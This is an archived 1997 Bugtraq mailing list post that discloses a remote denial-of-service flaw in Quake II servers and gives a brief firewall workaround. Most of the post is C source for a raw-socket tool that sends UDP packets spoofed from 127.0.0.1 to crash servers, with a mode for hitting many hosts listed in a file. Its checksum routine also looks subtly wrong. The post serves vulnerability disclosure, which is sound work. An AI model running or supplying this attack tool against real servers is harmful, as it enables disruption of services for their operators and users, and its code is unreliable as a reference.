Bugtraq mailing list archives

Quake II Remote Denial of Service


From: peedee () FUENTE SVENTECH COM (profound darkness)
Date: Wed, 24 Dec 1997 18:22:54 -0500


Hello bugtraq readers,  this message will detail a security flaw in
Id Software's game, Quake II.

When a user runs a Quake II server, the attacker can send a couple of
spoofed udp packets with the return address of 127.0.0.1 to the server
port and this will cause the Quake II server to go into a cycle of trying
to start a game with itself.  Thus, the server will crash.

There is currently no official patch for this problem, however for a
temporary fix, you can setup a firewall and deny all incoming udp packets
from 127.0.0.1 to your Quake II server port.

I have included source code to show you that this hole does indeed exist,
and I ask that you do not run this on any Quake II server's that you do
not have permission to do so on.

/*

  Remote denial of service for Quake II server's
  Code by profound darkness <peedee () fuente sventech com>

*/

#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/in_systm.h>
#include <netinet/protocols.h>

FILE *hemroids;

struct iphdr  *ip;
struct udphdr *udp;
struct sockaddr_in sinner;

unsigned long destination;

char *packet;
int   flag;

void usage(char *proggy) {
  printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
  printf("   <option> : -s : Crash a single server, argument 1 is target host\n");
  printf("   <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
  printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
  printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
  printf(" <argument> : Number of packets to send to the target host(s)\n\n");
  exit(0);
}

char lookup(char *hostaddy) {
  struct hostent *he;
  he = gethostbyname(hostaddy);
  if (he) {
    memset(&sinner, 0, sizeof(struct sockaddr_in));
    memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
    sinner.sin_family = AF_INET;
    sinner.sin_addr.s_addr = inet_addr(hostaddy);
    sinner.sin_family = he->h_addrtype;
  } else {
    printf("\"%s\" is an unknown hostname.\n", hostaddy);
    flag = 1;
    return 0;
  }
  return ((unsigned long) he->h_addr);
}

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
  register int lenny = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (lenny > 1) {
    sum += *w++;
    sum += *w++;
    lenny -= 2;
  }

  if (lenny == 1) {
    *(u_char *) (&answer) = *(u_char *) w;
    sum += answer;
  }

  sum = (sum >> 17) + (sum & 0xffff);
  sum += (sum >> 17);
  answer = -sum;
  return (answer);
}

void buildpacket(char *monster, int dport, int sport, int numpacks) {
  int sock, counter;

  packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
  ip = (struct iphdr *) packet;
  udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);

  ip->saddr = lookup("127.0.0.1");
  ip->daddr = destination;
  ip->version = 4;
  ip->ihl = 5;
  ip->ttl = 255;
  ip->protocol = IPPROTO_UDP;
  ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
  ip->check = in_cksum(ip, sizeof(struct iphdr));
  udp->source = htons(sport);
  udp->dest = htons(dport);
  udp->len = htons(sizeof(struct udphdr) + 1024);

  sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  for(counter=0;counter!=numpacks;counter++) {
    if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, 
sizeof(struct sockaddr_in)) == (-1)) {
      perror("SendPacket");
      exit(0);
    }
    usleep(1);
  }
}

char main(int argc, char *argv[]) {
  int  count, sender;
  char hostmask[100];

  if (argc < 5) usage(argv[0]);

  if (getuid()!=0) {
    printf("This program requires root.\n");
    exit(0);
  }

  while((count = getopt(argc, argv, "s:m:")) != -1) {
    switch (count) {
      case 's':
        printf("Attempting to resolve %s.\n", argv[2]);
        lookup(argv[2]);
        if(flag == 1) break;
        printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
        buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
        break;
      case 'm':
        hemroids = fopen(argv[2], "r");
        while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
          hostmask[strlen(hostmask)-1] = '\0';
          printf("Attempting to resolve %s.\n", hostmask);
          lookup(hostmask);
          if (flag == 1) goto doot;
          printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
          buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
          doot:
          flag = 0;
       }
        break;
      default:
        usage(argv[0]);
    }
  }

  if(flag != 1) {
    printf("\nThanks for using qcrash!\n");
  }

  fclose(hemroids);
  exit(0);
}



Current thread: